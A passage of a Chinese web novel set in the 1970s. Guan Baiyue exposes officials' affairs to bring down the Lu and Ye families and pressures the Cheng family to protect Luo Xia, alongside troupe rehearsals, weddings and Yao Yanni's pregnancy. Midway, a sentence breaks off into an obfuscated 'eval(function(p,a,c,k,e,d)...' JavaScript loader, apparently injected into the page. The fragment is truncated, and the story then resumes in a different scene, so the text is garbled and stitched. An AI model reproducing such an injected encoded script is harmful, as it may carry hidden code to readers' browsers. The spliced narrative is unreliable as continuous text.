争取到了比赛的机会,训练时大家都认真多了。章清云才不怵比赛呢,正常训练,该干嘛干嘛,倒是程紫鹃和苗盼儿有些紧张。程紫鹃是天赋有限,跳了这么多年都只是配角,苗盼儿呢,有些天赋,但之前为了乒乓球比赛,落下了基本功。 听说选拔,两人下班也不走了,要留下来加练。章清云劝:“别逼自己太紧了,要是选拔前肌肉太累,可不好恢复,状态也不会好。” 两人摆摆手,让章清云别管,她们心里有数儿。章清云知道,程紫鹃可能是真紧张,苗盼儿呢,肯定有另一层想法,那就是和姚燕妮比一场,最好能证明她比姚燕妮强。 说起来,苗盼儿和陶勇的婚礼也快了,定的是九月初,这眼看就要到了,得买个礼才行。章清云溜达着回到家,就见客厅里,魏雪挨着卢建设挤在一起,关百钺坐在单人沙发上,脸色并不好看。 听见开门声,关百钺起身去迎,魏雪和卢建设也要起,被关百钺抬手制止,他说:“坐着吧,这事儿不好办,容我想想。这样,你们先回吧,三天,三天后我给你们答复。” 魏雪一脸的笑,觉得表哥这是答应了,声音里都带着雀跃:“哥,你真好,我就知道你最疼我!那我走了,建设乒乓球打得好,我还得陪他练习呢。” 卢建设拉拉魏雪的袖子,满脸讨好的笑:“哥,麻烦你了,那我和小雪回去了。” 章清云不明白这两人来干嘛,只对着出来的两人笑笑:“这就走了?那下次来家里吃饭。”关百钺没开口留两人,她才不会多嘴说留下来吃饭的话,一杆子支到下次。成年人嘛,都知道,这里的下次,就只是说说而已。 等两人走了,章清云才问:“卢建设又想干嘛?” 关百钺叹口气:“没事儿,就是制糖率的那篇文章,想让他的名字在第一个。” 章清云嘴巴都张大了。这也太贪心了吧,带他的名字都不满足了,还想占首功!这脸是有多大! “他想当技术部主任?年纪轻轻,也轮不到他啊。” 关百钺语气平淡:“为以后攒资本罢了。没事儿,会想办法支开他的。”只是这办法得好好想想,卢建设他爸毕竟是革委会副主任,权利不可谓不大。 章清云叹气:“卢叔都没说要见小雪吧?怎么就这么上赶着呢。” 关百钺眼里闪过一丝狠厉:“不想了,明儿让陶勇去查,就从卢平下手!”卢建设仰仗的,不就是卢平吗?要是卢平倒了,看他卢建设还怎么蹦跶! 陶勇之前是在胡同里混的,认识的人多,形形色色的人都接触过,很快查到了卢平的尾巴。什么呢?卢平和叶成才的老婆温燕,长期保持情人关系! 事情很简单,叶成才这个老鳏夫秘书,为了巴结领导,娶了温燕,为两人打掩护。温燕婚后‘早产’生下的那个孩子,八成是卢平的。 跟关百钺说的时候,陶勇都有些恍惚,还有这么玩儿的?抢着往自己头上戴绿帽子,就不觉得膈应? 关百钺点点陶勇:“那是想戴更大的帽子呢。” 是啊,官帽子大了,不就把绿帽子遮住了嘛,只要官帽子足够大,里面有个绿帽子的事儿,谁也不能知道!就是知道了,也只当看不见,背地里笑话都不敢。 查到了这个事儿,怎么利用呢?关百钺点点桌面,说:“不急,再去查查叶成才,他不会只有叶宛如一个闺女的。” 之前叶宛如刷夜的名声是怎么传出来的?还不是因为叶成才和温燕晚上经常不在家。温燕要和卢平约会,经常不在家可以理解,叶成才呢?是不是也有情人?去查,都查清楚了再行动。 果然,叶成才也不干净。他和银杏胡同的一个叫夏琳的寡妇,长期保持情人关系。 夏琳呢,属于二嫁的寡妇,和第一任丈夫生了个女儿,叫唐兰,今年十九了。因着生了唐兰之后六七年不再开怀,被撵回家,之后嫁给了姓殷的老光棍。也是怪了,之前一直不怀孕的夏琳,嫁过去半年就怀孕了,次年就生下了儿子,今年这小子也有十二了吧。 三年前老光棍死了,夏琳在老光棍死后,生了个叫殷栋的遗腹子。之后,夏琳的大女儿,那个叫唐兰的,去年夏天的时候,路过水库救了溺水的男孩,恰好被路过视察的领导看到,受到了见义勇为的表彰,被推荐上了工农兵大学。 这就有意思了,关百钺笑笑,这像不像一场交易?夏琳给叶成才生儿子,叶成才想办法让夏琳的大女儿上大学!想想叶宛如也挺可怜的,她爸爸早就搞到了名额,却给了不相干的人。那是不是可以用用叶宛如呢? 叶成才就是一根线,一头牵着卢平,一头牵着他自己,查卢平,必然会查到叶成才,查到叶成才,叶宛如就得受牵连。如此,叶宛如秋季能不能正常去上大学,都成问题。要是叶宛如大义灭亲,主动去举报叶成才,说不得这个名额,还能保留。 至于卢建设?这是个会审时度势的,见卢平势头不对,会主动登报断绝关系的,之后他就是个普通的不能再普通的工人,不能再仗着卢平的势,撺掇魏雪逼迫关百钺了。只能扒着魏雪不放,对魏雪好。既然魏雪执迷不悟,如此,也是最好的结果了吧。 于是,这一夜,叶宛如一个人在家睡觉呢,就感觉窗外有亮光一闪而过。她睡觉轻,腾地坐起来,披上衣服,拿起床头柜的手电筒,小心翼翼地下床。还没走到窗口,就见窗户被打开,从外面扔进来一个东西。 叶宛如唬了一跳,后退几步,等心跳没那么快了,才看清,地上被扔进来的,是一个牛皮纸文件袋。 叶宛如久久不动,不知何时才猛地蹿到窗口,拉开窗帘,她家住二楼,不高,被人爬上来很正常。可探头去瞧,哪里还能见到人影?!叶宛如的心砰砰砰跳,直觉文件袋不简单,她刷地拉上窗帘,努力平复心情,这才小心翼翼地弯腰拾起文件袋,哆嗦着手打开,不多时,一屁股坐在地上。 完了,她爸被盯上了,卢平也被盯上了,事情被人知道了...... 第三天吧,犹豫两日的叶宛如,还是举报了叶成才和卢平。不是她心狠,是他爸根本就不在乎她,她为什么要为了一个不在乎她的人,赔上一辈子?她要上大学,要做人上人! 一时间风声鹤唳,卢建设没了再去找关百钺的心情,他爸卢平被带走,多方打听下,才发现不止男女关系问题,更有利用职权谋私利、侵吞财产等罪名,卢建设一时慌了手脚。 另一边呢,作为当事人,卢平不傻。捉奸捉双,对于男女关系的指责,他坚决不认。温燕也不会认啊,她有工作有孩子,孩子都五岁了,到了懂事儿的年纪,说什么都不能让孩子见不了人。 你说为什么晚上经常不在家?她主动替别人值班行不行。和叶成才没有感情,不想住一起,这个理由可以吗? 至于谋私利、侵吞财产等指责,卢平认了一部分,主动交出侵吞所得。对于另一部分,却抵死不说财产的去向,让他交出来,他也拿不出来。硬审吧,上面有人插手,这是护上了。 关百钺笑笑,看吧,卢平就是这么狡猾,这是将一部分财产,或是给了战场上死了的老战友家人,或是给了一些下放的老同事老袍泽。同样作为战友,那些还在位置上的,能不出手护着卢平?护着卢平,那叶成才的罪名也不会很重。一样的操作,乱搞男女关系不认,其他能模糊的就模糊。 革委会去找夏琳,夏琳也不认啊,指着那些人的鼻子骂:“我家小兰救人是大家都看到的,想往她身上泼脏水?你们是说那天视察的领导都是傻的,都被一个小姑娘骗了?” 谁敢认这个话?!这就是胡搅蛮缠了,前前后后调查了一个月,期间章清云都选拔上主舞了,苗盼儿也证明了努力没有白费,调查结果才出来。卢平和叶成才双双撸掉职务,去农场改造。卢建设和叶宛如,及时和有污点的家人划清关系,职务并不受影响。 叶宛如还好,收拾包袱早些去大学,躲过去了流言蜚语。卢建设就惨了,被指指点点的,早忘了想发表文章的事儿,一心只是想远离青江市,去一个谁都不认识他的地方,重新开始。二来也是,在青江市,都知道卢建设的底细,他的发展受限。而去了下面,受卢平照顾的人,也会照顾卢建设的。 而魏雪,是卢建设能抓住的最高的高枝儿了,说什么都不会放手的。一边儿哄着人,一边儿四处打听哪里有外派的机会。 卢建设多精啊,以前不松口结婚,那是一山望着那山高,有盼头,不想在魏雪这棵树上吊死,如今只有魏雪了,肯定是要用婚姻捆绑住的。幸好两人都不到登记结婚的年龄,只是冷不丁说要办订婚宴,还是把关百钺和章清云吓了一跳。 这谁都没提前说,订的什么婚?!卢建设呢,这种事儿就让魏雪一个人来说? 魏雪不会看脸色啊,满脸都是甜蜜:“哥,建设本来不想连累我,想分手的,可我不同意。我不是为了他家的权势才看上他的,我看上的从来都是他这个人!” 抬头看向关百钺,挽了挽头发,笑道:“哥,我知道你不太喜欢建设,可他不坏,真的!他和卢叔叔断绝关系,也是卢叔叔同意了的,这样才能暗中帮助卢叔叔。建设已经在看了,说是想调到农场所在的公社,去做个公社干部,离卢叔叔近一些,也好照顾照顾叔叔。总好过他经常去探望,落人口实。 天要下雨娘要嫁人,都是无可奈何的事儿。魏雪一门心思认准了卢建设,谁劝都没用。关百钺敲敲桌面,严肃着脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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章清云全程没说话,这时候才开口道:“恭喜你,小雪。嫂子也跟你说几句知心话,姑姑和姑父都是优秀的医生,你有天赋,要好好学习,争取多参加几次培训和考试,早些精进业务,成为公社有名的医生。” 魏雪嗯嗯嗯的点头,实在是没什么说的了,才起身离开。等人走了,关百钺才落下脸,一脸的不高兴。章清云安慰道:“好了,小雪要是听劝的话,能多学些医术,事业上有所进展,也不错。事业与爱情,起码能落一样嘛。” 关百钺摇摇头:“姑姑当初嫁给姑父,就是一意孤行,伯伯阿姨们都劝,愣是不听。好在姑父人不错,虽然过了几年苦日子,但最终证明姑姑是对的。可小雪不一样,她有姑姑的执着,却没有姑姑的眼光和智慧,早晚会吃到教训的。” 章清云没话找话:“哎呀,周末苗盼儿和陶勇办婚礼,和小雪的订婚宴重了!怎么办,去哪个不去哪个?” 不论去哪个,都得得罪另一个。那就只能赶场子,两个都去。先去苗盼儿和陶勇的婚礼上送份子,夫妻俩一人两块钱的份子钱,外加两个热水瓶,很厚的理了。 章清云拉过苗盼儿,低声将事情说了:“不是不留下来吃饭,实在是不凑巧,小雪和卢建设今儿办订婚宴,我和百钺不得不过去,你和陶勇就担待点儿,咱们抬头不见低头见的,那俩之后可能就调走了。” 苗盼儿听了,挑挑眉:“就是那个一门心思看中渣男的魏雪?” 章清云牙疼地点头,苗盼儿噗嗤一声乐了:“行啊,摊上这样的亲戚也是你和关百钺的福气。去吧,好好蹭蹭福气,过几天上班也给我们分享分享。” 章清云哭笑不得,指指苗盼儿不说话。熟了以后就知道,这是个典型的刀子嘴豆腐心。那刀子嘴还不是一般的刀子,刀刀戳人心窝子啊,这要是别人稍微有点小心眼儿,非记恨不可。 陶勇那边也好说话,章清云和关百钺又去父母那里说明了情况,顺利出了胡同,去大院小食堂吃席。 卢建设父亲的职位没了,住房自然收回去,如今卢建设住在筒子楼,没有摆席的条件。好在参加工作以来,卢建设倒是存了些钱,这次订婚宴也是下了血本,在小食堂的包间设了三桌,十个菜的席面,请的都是以往关系好的朋友,既办了订婚,又趁机联络感情。 师援军、沈爱军、关百钺,还有以前高斌手下的一些人,来了能有二十多个,正好坐满。魏雪头上别着红花,穿一红色的连衣裙,娇羞地站在卢建设边上给众人敬酒。 关盈钺几次想开口,都被关百钺按住:“姐,她就这脾气,姑姑都拿她没办法,你能怎么办?别弄到最后不认咱们,姑姑知道了该伤心了。” 洪安娜快生了,挺着大肚子来的,也在一边儿劝:“你这又是何必。百钺和你没劝过吗?就连我,嘴皮子都说干了,没用。百钺有一句话说的对,卢建设只要还要扒着咱们,就不会对魏雪不好,放心吧。” 关盈钺狠狠抹了把脸:“我知道,行了,我就是这脾气,过去就好了。放心,不会冲动了,一会儿回去还得喂安安呢。”出来的时候,是罗霞拿拨浪鼓逗小家伙,吸引了注意力,她和师援军才逃出来的,不然且得被缠上呢。 “哥,姐,你们都能来,我真高兴。”敬到这一桌,卢建设已经有了两分醉意,他大着舌头,将胸脯拍得啪啪响,“放心,我一定......一定会对小雪好的,我发誓。” 众人起身,说着白头偕老、恩爱一生的客气话。关百钺点卢建设:“希望你说的不是醉话。” “没醉,也绝对不是醉话。” 订婚宴后不到一周,卢建设和魏雪双双调去隔壁市的云琪公社,卢建设任公社办事员,因着有之前制糖厂的工作经历,定了个八级办事员,工资是一个月三十三元。而魏雪,则去做了公社卫生院的护士,因为没有工作经历,工资每个月只十五块七,以后随着工龄再涨。 当然,这些关百钺和章清云都没继续关心,也就过了两三天吧,洪安娜于九月末产子,生下了和沈爱军的第一个儿子。沈老爷子等来了重孙,高兴地多吃了半碗饭,准备了两个月的名字派上了用场,沈福,只希望这是个有福气的孩子。 洪安娜就跟关百钺的亲姐姐似的,关百钺和章清云自然不敢马虎,礼物和给关盈钺准备的没差多少,鸡汤、鱼汤更是换着花样儿的送过去。洪安娜一个月子坐下来,胖了有六斤。 当然这是后话,目前最热议的,就是国庆那天举办的乒乓球决赛了。都想着法子买票,要去看比赛呢。文工团因为要开场演出,章清云倒是弄来了几张票,只是不多,勉强够章砚臻、陈静和章清远三人的,再多就没有了。 关百钺的工厂有人进了决赛,他这里也有票,想着章大伯家人多,特意送过去两张。总归能去的都去看了,现场热闹的不行。 机械厂的代表没有拿到名次,算是小小的遗憾吧。 不过,翌日上班,关百钺还是给予运动员很重的奖励,能参加决赛本身就是胜利嘛。 十一月初,青江市又下起大雪,雪花纷纷扬扬撒了一夜。翌日清晨,终于改成了小雪。 章清云在被窝里伸了个懒腰,今儿是周日,也是去拉煤、积酸菜,趁着空闲准备食物的日子。关百钺已经去后勤服务社借板车了,章清云赶紧起来,匆匆洗漱后,就去食堂买早饭。 顾云岚和顾云凯双双推开院门,和章清云打招呼。 章清云笑着问:“又去图书馆?” 自从和黄咏梅冷战,这姐弟俩有时间就去图书馆呆着,不到熄灯时间绝不回家。章清云有时候会想,这可能就是祸兮福所倚福兮祸所伏,这时候看书在别人看来可能不好,可这姐弟俩要是能坚持,七七年恢复高考的时候再回头看,谁不得说一句,两人因祸得福呢。 当然,这时候没人能想到以后,就连顾云岚和顾云凯闻言都露出苦笑。顾云岚道:“不去图书馆能去哪儿?清云,你们今儿拉煤是吧?小凯,去帮帮忙。” 章清云连连摆手:“不用,我们要拉的煤不多......” 顾云凯第一时间开口:“跟哥客气什么。我家和关家可是几十年的邻居了,百钺。” 他忙挥舞手臂,确认关百钺看见了,这才对章清云道:“清云,你就别去了,我和百钺一趟就拉回来了。” 关百钺近前左右看看,笑着道:“行,清云你回去吧,我和云凯哥一起。云凯,你家的煤拉了没?今儿一起拉了算了......”声音越来越远。 这人,早饭还没吃呢,章清云心里着急,对着顾云岚歉意地笑笑,小跑过去道:“关百钺,等等,我去买俩包子,路上吃了再干活儿。小心低血糖。” 关百钺拍了拍头,哎了一声,对顾云凯笑道:“瞧我这记性。” 章清云匆匆买了俩辣豆腐包,递给关百钺,这才回去准备吃饭。 家里的白菜,是前几日邵华和陈静一大早帮着买的,因着只有夫妻两人,先只买了两百斤,让两人根据自己的口味腌制。章清云和关百钺商量过,决定一半积酸菜,一半腌辣白菜。正坐在小马扎上,在院儿里扒白菜叶子呢,洪安娜拽着洪常胜的耳朵,气哼哼地进了关家。 洪安娜瞄了眼,问道:“清云,百钺还没回来?” 章清云忙起身,笑着道:“安娜姐,百钺去拉煤了。这是怎么了?常胜,你又调皮了?” 洪安娜简直要气死,手上更用力了,洪常胜哎呦哎呦的叫唤:“姐,姐,您轻点儿,这么冷的天儿,还飘着小雪呢,我这耳朵要是被您拧下来,可立马就得冻成冰疙瘩,想安上去可就难了。” “你还皮!”洪安娜气儿不打一处来,“跟谁玩儿不好,你跟着高武!你个没成算的蠢货,耳朵掉了还好呢,成了残疾人,看谁还要你!” 洪常胜继续贫嘴:“那可不一定,说不定人家一看我是残疾人,想着关爱老弱病残孕,我还更受重用了呢。” 见洪安娜脸都气红了,这才不继续贫嘴,低声道:“好了,姐,我就是去看看最近高武在干嘛,没想着跟他混,真的。” 56. 背后小动作不断 姐弟俩的对话,在关百钺和顾云凯推着煤车进门的时候中止了。有人来,没时间再去拉煤,顾云凯很识时机地道:“改天我家再拉煤,我去把手推车还回去,大家都等着用呢。” 章清云忙进屋拿了个苹果出来,在门口递给关百钺,关百钺扔过去,道:“云凯哥,接着。今儿麻烦你了,改天咱重新借板车,我帮你家拉煤。” 顾云凯接过苹果摇了摇,道:“行,说定了。那我走了,你们聊。” 将人送出去,四人才进屋。洪安娜的气儿也消的差不多了,这才说起事情经过。坐月子期间,高武来家里探望,不知怎么的,和洪常胜勾搭上了,带着洪常胜满世界乱窜,没干好事儿! “就冰场,开门儿还不到半个月,光群架打了三回!听说连不对付的季长善,都勾搭到一处玩儿了。百钺你说,常胜是不是吃了熊心豹子胆?!高武他都对不不了,这又来一个季长善,他是不想干正事儿了!” 洪常胜喊冤:“姐,百钺哥,我那是哄着高武玩呢。你们不知道,高武最近可活跃了,听说和程卫东那小子走得可近了,整日不是批这个就是斗那个的,我这不是好奇他们想干嘛嘛,就混进去看看,真没想干什么。” 洪安娜气得手抖:“高武那心眼儿,你这一根筋的能斗的过?!你这是要气死我啊。” 说着也不理洪常胜怎么不服气,对关百钺道:“百钺,你也看到了,这小子不管不行!这样,你把他带在身边,看紧了,哪儿也别让他去,就跟你学摆弄机器。什么时候学好了,什么时候才能放他一个人,知道吗?” 关百钺忙点头:“姐,你放心,我早给常胜留着位置呢。你怎么还这么急,小福这刚满月,您还得喂奶呢,别为常胜担心了。” 洪常胜撇撇嘴,良久才小声道:“姐,我知道了,你回去吧,小福肯定饿了,我以后就跟着百钺哥还不成嘛。” 说完小声嘀咕:“我还不是怕高武那小子要对付百钺哥。” 洪安娜立即警醒:“你说清楚,高武为什么要对付百钺?” 洪常胜吭哧半天,低声道:“高武小心眼儿呗。好像是百钺哥说了他什么坏话,他气不过,这才巴结程卫东,想着对付百钺哥。” 洪安娜厉声:“什么坏话?百钺什么时候说高武的坏话了?” 洪常胜撇嘴:“这不是没打听出来嘛。” 关百钺轻笑:“我知道。应该是他贪污事发那晚,我说了他和叶宛如的事儿,他记恨上了。加上咱们见了让他难堪的一幕,面子上下不来,两相叠加,这才越想越气的。” 洪安娜哈了一声:“就这?还大男人呢,小肚鸡肠的,什么样子!” 说着指了指洪常胜:“听听,就这样的人,你还与他为伍,多危险啊。就你那性子,不知道什么时候就得罪人了。行了,跟着你百钺哥,哪儿也不许去。我回去了,百钺,好好教训教训他,别客气。” “哎,姐您慢走。” “姐,我给小福买的不倒翁,你拿过去给小福玩。”洪常胜从兜里掏出一个小木偶,递过去。 洪安娜接过来,使劲儿点了点弟弟的鼻子,这才没好气儿地离开。 等洪安娜走了,关百钺才严肃了脸,问洪常胜:“说实话,高武最近在干嘛?” 洪常胜也收了脸上的笑,低声道:“哥,那孙子盯上了罗霞罗阿姨,说她曾经留过学,是反动分子,不能继续住在科研大院,得下放农场改造!” 关百钺闭了闭眼,还是冲着罗姨去了。罗姨已经很低调了,平时连家门都不出,还是躲不过吗?他敲着桌面,脑子迅速运转,想着解决办法。 屋里一时没了声音,良久,关百钺睁开眼,道:“这样,你去找陶勇,认识吧?让他查查程家。记住,不是如今程卫东所在的程家,而是以前的大资本家程家,知道吗?” 洪常胜挠挠头:“哥,有什么区别吗?” 关百钺点点他的头:“区别大了,大资本家程家可能也有海外关系,要是有人翻腾罗姨留学的事儿,咱们就翻腾程家有海外关系的事儿,明白吗?” “明白,哥,你等着,我肯定给你办好。”洪常胜一跃而起,一溜烟儿跑出家门。 章清云低声道:“威胁程正道?” 关百钺微微点头:“只有如此了,赌一次,就赌程正道还想庇护家人!另外,也只有他能管住程卫东了。罗姨曾经留学的事儿,如今能不提起还是不要提起的好。先躲过这一茬,接下来再想办法” 好在陶勇办事利索,程家也不愧是大资本家,海外关系十分的复杂,不止有去M国的,Y国、F国都有。估计程卫东都不知道还有这一茬,否则也不会听高武怂恿,想着整罗霞。 跟叶宛如那晚差不多的操作,果然,高武和程卫东那里消停了,就是姚燕妮,训练的时间都多了。前一段儿她可是经常请假,难得的一连三天都来训练,让文工团众人都十分稀奇。 “燕妮,卫东哥不带着你进步了?”中场休息时,孙巧云边擦汗边问。 姚燕妮喘着气,温声细语道:“他爸找他有事儿,这几天都没时间。” 程卫东他爸可是大官儿,孙巧云忙恭维道:“哎呦,恭喜燕妮姐,肯定是有重要的事儿让卫东哥办。说不得办完之后,卫东哥就升官了呢。” 姚燕妮矜持地笑笑,瞥向章清云的眼光都带着高傲。章清云却觉得安心多了,姚燕妮的话,可不证实了,程正道将程卫东关起来,不让他胡闹嘛。罗霞阿姨那里,应该是没事儿了。 可不是,一连半个月,都没再听到要针对罗阿姨的消息,关百钺也跟着放下了心,带着洪常胜一门心思的研究新器械。上辈子关百钺多在食品工程上努力,如今在科研大院,他接触更多的是器械,就算有前世的见识和眼界,也得边学边做,忙得很。 另一边,姚燕妮呢,心越来越不安。例假已经晚了半个多月,她......她不会怀孕了吧?明明,明明章清云结婚快一年了都没怀孕,凭什么她就那么几次,就......就怀孕了?! 想找程卫东商量,可却找不见人,半个多月不见人影,这是玩够了,想甩了她? 姚燕妮哼笑一声,她可不是那么好打发的!这日下班,姚燕妮特意去了程家,门没开就在门口一直等,任凭别人指指点点,也坚定地不离开。 直到晚上十点,程正道才匆匆回来。他今日去了下面的公社,还是家里的警卫员见到有人在家门口不离开,悄悄打电话告诉了秘书,秘书和司机特意去公社找他,他这才回来的。 将人带进屋,程正道也没说让姚燕妮坐,挥手让其他工作人员离开,这才冷着脸问:“姚同志,你是有什么事儿吗?” 姚燕妮抬起头,一脸的坚定:“程叔叔,我怀孕了。卫东要是不和我结婚,我就去告他耍流氓。” 程正道将公文包甩在沙发上,慢慢踱了几步,回头道:“我知道了,你先回去。一周,最多一周,程卫东就回来,到时候让他跟你结婚。” 不论成分如何,程正道也是老革命了,部队里多多少少还有些香火情,他已经托关系,让程卫东去当兵了。三天前刚走,谁知道姚燕妮转头来了这出。孽子,都是来讨债的!让他规矩些,规矩些,没想到还是这么没分寸!姚燕妮是谁,那是沈老的外孙女!未婚先孕,是什么光彩的事儿嘛。 程正道急得团团转,之前他是想让卫东和燕妮在一起的。可是卫东这人心性不坚定,留在市里,太容易被人左右,竟然敢去翻腾国外的事儿!程家以前可是青江最大的资本家,国外的事儿就不能提!既然不能留市里,那就把人送去部队,那里的环境相对单纯,也许比和姚燕妮在一起的前程要大。 可惜啊,这小子没这个命!那就和姚燕妮捆死吧,看看谁能辖制住谁。 关百钺和章清云还不知道姚燕妮的事儿,翌日周末,关百钺早早起来,帮隔壁顾家把煤拉回家,又帮着积酸菜、腌辣白菜,忙活了一上午,才收拾收拾,准备去程家拜访。 是的,扳倒了卢家、叶家,又威胁了程家,程正道不可能不去查,像他这种有地下工作经历的,想瞒住几乎不可能,那就主动去找他合作嘛。程正道既然有心庇护家人,那就有合作的基础。 刚出门,顾云岚和顾云凯都拎着饭盒,顾云岚热情地招呼:“食堂做鱼丸了,快去,晚了就没了。” 科研大院的鱼丸可是一绝!青江市因为有青江,渔业资源丰富,大家也都爱吃鱼。章清云这个不爱吃的,也跟着喜欢上了鱼丸。天大地大,吃饭最大。 两人赶紧跑回家,又小跑着去食堂。到的时候,队伍已经排了快十米。章清云喘着气站过去,问前面的人:“朱叔,一个人限买多少啊?” 朱家也住小楼那一片,正好在关家南面,之所以知道这家人,是因为朱叔叔的爱人是科学家,在前线做实验,而朱叔叔呢,是大院服务社的清洁工。任谁看,都是十分不般配的婚姻,可人家两口子过得比谁都好。 据说当初为了追林阿姨,朱鹏每天天不亮去林家干活儿,连着干了两年,才把人追到手。好在追到手了也没变脸,贤惠地做着林科学家的后盾,相妻教子,替林科学家打理好大后方。 朱鹏乐呵呵的,伸出交缠的两根手指,道:“十个,一人只能买十个。” 章清云逗前面的小孩儿:“晴晴啊,你这么小,肯定吃不了十个,让给阿姨几个呗?” 朱晴是个五岁的小女娃,正处于护食的阶段,闻言抱着饭盒道:“不,我能吃完,不给阿姨吃,我吃。” 说的众人都笑。朱鹏伸出大手揉了揉闺女的头,想开口训两句,其他人都摆手让他别多事儿,还有人问只两岁的朱雨:“小雨啊,你呢,能给叔叔几个不?” 朱晴忙护在弟弟跟前:“不,给弟弟留着,慢慢吃。” 排队嘛,没事儿做,就喜欢逗孩子。等打到二十颗鱼丸,已经是十分钟以后了。好在这次食堂准备充分,没出现排到跟前,没货了的情况。 打完鱼丸,关百钺去程家,章清云则收拾收拾,准备回章家看看,拎上一份鱼丸正好。每年章家冬日都要做糖,今年自然也不例外。章清宇和司南婚后日子和顺,一加一大于二,今年往家捎带的坚果山货更多,章家做的糖自然也更多。 关百钺的拜访,并不在程正道的预料之中。最近市里的动静大,他以为是沈家出手了,毕竟儿子和姚燕妮谈恋爱,是他默许的。沈家报复回来,他丝毫不意外,可全没想过会是关百钺动的手。 程正道上下打量关百钺,摇摇头:“不可能,你没有理由这么做。” 关百钺笑了:“为什么没有理由呢?卢建设欺骗魏雪,我给卢家一个教训,不应该吗?罗霞罗阿姨是我姐的婆婆,她要不好了,我姐日子也不会好过,我帮助罗姨,就是帮助我姐。” 程正道将后背往沙发上一靠,定定看着关百钺,对视良久,他问道:“这么说,真是你?” 关百钺也是活过两世的人,才不会被这点儿阵仗吓到,他很坚定地点头:“对,是我。” 程正道翘起腿,垂了垂眼,再次抬头望向关百钺时,眼神儿里多了几分慎重,他说:“那你跟我坦白,是想做什么呢?继续威胁我?” 关百钺摇摇头:“不是,我是来跟程叔您合作的。您有您想庇护的人,我也有我想庇护的人,咱们就有合作的基础,您说呢?” 程正道笑了,开怀大笑的那种,许久才叹道:“你小子生在现在,可惜了。” 关百钺仍是坐在那里笑,并不接话。程正道收了笑点点他:“说吧,想要做什么?” 关百钺这才道明来意:“我想让罗霞阿姨去程家人所在的农场。” 程正道眯眼,内心赞一声,真是个聪明的孩子。 罗霞的事儿已经被提起了,这次被压下去,不代表下次不会出问题。世上总有‘有心人’,想继续翻腾,想乘风而起。大势所趋,谁也改变不了。那就不如让罗霞主动申请去农场,避过这一段时间,退出大家的视线,越低调,师援军和关盈钺的日子,甚至罗霞的日子,才越好过。 程正道敲了敲桌面,缓缓点头:“行,让罗霞申请,我让人批。” 关百钺这才从程家离开,又去了师家,将计划说了。 “罗阿姨,您留学的事儿被人提起了,如今的形式您也知道,这次避过了,下次可就不一定了。我找人打听了,隔壁市的五星农场,条件还不错,您主动申请去那里,不会吃苦的。您要是相信我......” 罗霞笑的一脸轻松:“相信,阿姨不信谁也会信你的。说实话,直到今天,阿姨的心才算是彻底放下了。” 师援军脸色十分难看,他问道:“百钺,是谁翻腾我妈的事儿的?你跟我说,我......” 罗霞摆摆手:“援军,你比百钺可大着三岁呢,怎么还没百钺成熟。这事儿不是谁翻腾不翻腾的问题,而是你妈我确实留过学,大院儿的人谁不知道?革委会那些人早晚会再盯上咱们家的。放心,百钺打过招呼了,就相信百钺,他必是不会害我的。” 她说话慢悠悠的,望向师援军时顿了一下,又叮嘱道:“我走后,这个房子肯定保不住。你们也别闹,让搬去哪儿就去哪儿,尽量降低存在感,知道吗?” 师援军红着眼眶点头,罗霞这才看向儿媳妇关盈钺,眼里充满了怜爱:“盈钺,委屈你了,嫁过来没过什么好日子,还要从小楼里搬出去。” “不,妈,我不委屈。”关盈钺擦擦眼泪,“我爸妈常年不在家,都是您照看我和百钺的。放心,我会照顾好援军和安安的,必不会让他俩受委屈。” 关百钺有些哭笑不得,他及时开口道:“罗姨,姐,姐夫,你们放心,就算搬走,也不会太差的。毕竟师叔叔还在大西北呢,功劳摆在那里,谁也说不了什么。最差也是七十平的房子,放心,我去找吴峰吴叔叔,我和吴军有些交情,吴叔叔不会为难......” 罗霞摆摆手:“不用,百钺,别再麻烦人了,七十平就行,援军他们三个人住,够了。” 师援军和关盈钺也纷纷开口劝,关百钺笑笑没说话。这不是求人不求人的事儿,该争取时就要争取,你不争,那房子留给谁?给那些占着位置的关系户?功臣什么时候都是功臣,不能让功臣寒心。 好在吴峰是个圆滑的,罗霞自请去农场没多久,师援军和关盈钺就搬到了楼房,三楼,一百二十平的房子,三室两厅,一家三口住绰绰有余。不用关百钺帮忙,师援军以前也是跟着沈爱军混过的,招呼了一群人搬家,一个上午就搬好了,收拾的亭亭当当。 同一日,姚燕妮挽着程卫东的胳膊,在文工团发喜糖,脸上的笑要多幸福有多幸福。任谁也看不出来,程卫东之前曾不告而别。 发到章清云时,姚燕妮也没丝毫异样,真跟害羞又幸福的小媳妇儿似的,还跟章清云请教呢:“清云,你是怎么避孕的?我家这个想让我调到幕后,说是怕不小心怀上了,没察觉,哪天在舞台上出什么事儿就不好了。你这结婚都一年了吧,效果这么好,跟我说说呗。” 章清云挑眉,一旁的程紫鹃脸都红了,这说的是什么话!是暗示清云有问题,还是说关百钺有问题?! 章清云忙拉住程紫鹃的胳膊,笑着道:“去医院问嘛,医院里都能开出来,这事儿就看男人心疼不心疼媳妇儿,让不让媳妇儿奔事业了。”秀恩爱嘛,谁不会啊。我秀的是实打实的,你姚燕妮呢? 姚燕妮挽挽头发,笑容不变地道:“结婚了,自然要以男人的事业为重。好了,不跟你说了,我去给其他人发喜糖。” 程卫东全程一言不发,连夜从新兵连回来,回来就被逼着登记结婚,他到现在还懵圈着呢。等出了文工团的大门,他才甩开姚燕妮的胳膊,没好气儿地道:“行了,文工团我也陪你去了,可以回家了吧?” 姚燕妮双手抱胸,冷笑道:“想得美!还得去一趟沈家呢,怎么,害怕了?” 程卫东急得团团转:“我这刚回来,状态还没调整过来呢,就这么去沈家,你觉得合适吗?要去你自己去!” 姚燕妮才不管他说什么,径直往部队大院走,放下话:“爸可说了,今儿去哪儿都听我的,你不去也行,晚上爸问起来了,我可不替你遮掩。” 程卫东低骂了几句,不得不小跑着跟过去。沈家自然不是那么好过关的,沈老爷子发了好大的脾气,茶几上的烟灰缸都砸碎了。重孙子沈福吓得哇哇哭,老爷子才不摔东西了。不过放下话,没有姚燕妮这个外孙女! 不管怎么闹吧,姚燕妮结婚的事儿总算是过去了,婚后姚燕妮就申请调去了别的岗位,大家都猜到了原因,也都很厚道地没说什么。 